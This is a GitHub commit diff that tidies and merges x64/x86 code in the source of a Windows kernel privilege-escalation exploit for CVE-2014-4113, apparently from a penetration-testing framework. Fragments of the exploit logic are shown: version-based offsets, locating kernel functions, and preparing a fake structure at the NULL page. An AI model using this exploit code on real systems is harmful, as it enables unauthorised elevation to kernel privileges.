Skip to content

Commit 0e76157

Browse files
committed
More code tidying, reduced x64/x86 duplication
1 parent 062eff8 commit 0e76157

File tree

1 file changed

+20
-23
lines changed

1 file changed

+20
-23
lines changed

external/source/exploits/cve-2014-4113/cve-2014-4113/cve-2014-4113.c

Lines changed: 20 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -180,7 +180,9 @@ void Win32kNullPage(LPVOID lpPayload)
180180
LogMessage("[*] Getting Windows version...");
181181
memset(&VersionInformation, 0, sizeof(OSVERSIONINFOA));
182182
VersionInformation.dwOSVersionInfoSize = 148;
183-
if (!GetVersionExA(&VersionInformation)) {
183+
184+
if (!GetVersionExA(&VersionInformation))
185+
{
184186
LogMessage("[!] Failed to get windows version");
185187
return;
186188
}
@@ -207,27 +209,33 @@ void Win32kNullPage(LPVOID lpPayload)
207209
LogMessage("[*] Windows 6.0 found...");
208210
OffsetWindows = 0xe0;
209211
}
210-
else {
212+
else
213+
{
211214
LogMessage("[!] Unsupported Windows 6.%d found, only 6.0 and 6.1 supported atm", VersionInformation.dwMinorVersion);
212215
return;
213216
}
214217
}
215-
else if (VersionInformation.dwMajorVersion == 5) {
218+
else if (VersionInformation.dwMajorVersion == 5)
219+
{
216220
if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 1) { // Ex: Windows XP SP3
217221
LogMessage("[*] Windows 5.1 found...");
218222
OffsetWindows = 0xc8;
219223
}
220-
else if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 2) { // Ex: Windows 2003 SP2
224+
else if (VersionInformation.dwMinorVersion && VersionInformation.dwMinorVersion == 2)
225+
{
226+
// Ex: Windows 2003 SP2
221227
LogMessage("[*] Windows 5.2 found...");
222228
OffsetWindows = 0xd8;
223229
}
224-
else {
230+
else
231+
{
225232
LogMessage("[!] Unsupported Windows 5 found, only 5.1 and 5.2 supported atm");
226233
return;
227234
}
228235
}
229236
#endif
230-
else {
237+
else
238+
{
231239
LogMessage("[!] Major Version %d found, not supported", VersionInformation.dwMajorVersion);
232240
return;
233241
}
@@ -250,7 +258,8 @@ void Win32kNullPage(LPVOID lpPayload)
250258
}
251259

252260
pNtAllocateVirtualMemory = (lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
253-
if (pNtAllocateVirtualMemory == NULL) {
261+
if (pNtAllocateVirtualMemory == NULL)
262+
{
254263
LogMessage("[!] Failed to solve NtAllocateVirtualMemory");
255264
return;
256265
}
@@ -328,13 +337,8 @@ void Win32kNullPage(LPVOID lpPayload)
328337
return;
329338
}
330339

331-
#ifdef _M_X64
332-
pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((QWORD)nt_base + ((QWORD)pPsLookupProcessByProcessId - (QWORD)ntkrnl));
333-
LogMessage("[*] pPsLookupProcessByProcessId in kernel: %016llx\n", pPsLookupProcessByProcessId);
334-
#else
335-
pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((DWORD)nt_base + ((DWORD)pPsLookupProcessByProcessId - (DWORD)ntkrnl));
336-
LogMessage("[*] pPsLookupProcessByProcessId in kernel: %08x\n", pPsLookupProcessByProcessId);
337-
#endif
340+
pPsLookupProcessByProcessId = (lPsLookupProcessByProcessId)((DWORD_PTR)nt_base + ((DWORD_PTR)pPsLookupProcessByProcessId - (DWORD_PTR)ntkrnl));
341+
LogMessage("[*] pPsLookupProcessByProcessId in kernel: 0x%p\n", pPsLookupProcessByProcessId);
338342

339343
MyProcessId = GetCurrentProcessId();
340344

@@ -385,7 +389,7 @@ void Win32kNullPage(LPVOID lpPayload)
385389
LogMessage("[*] Getting PtiCurrent...");
386390

387391
#ifdef _M_X64
388-
ULONGLONG pti = MyPtiCurrent();
392+
DWORD_PTR pti = MyPtiCurrent();
389393
#else
390394
DWORD pti = MyPtiCurrent();
391395
#endif
@@ -402,15 +406,8 @@ void Win32kNullPage(LPVOID lpPayload)
402406
LogMessage("[!] Filed to get PtiCurrent");
403407
return;
404408
}
405-
else
406-
{
407-
#ifdef _M_X64
408-
LogMessage("[*] Good! pti 0x%016llx", pti);
409-
#else
410-
LogMessage("[*] Good! pti 0x%08x", pti);
411-
#endif
412-
}
413409

410+
LogMessage("[*] Good! pti 0x%p", pti);
414411
LogMessage("[*] Creating a fake structure at NULL...");
415412

416413
#ifdef _M_X64

0 commit comments

Comments
 (0)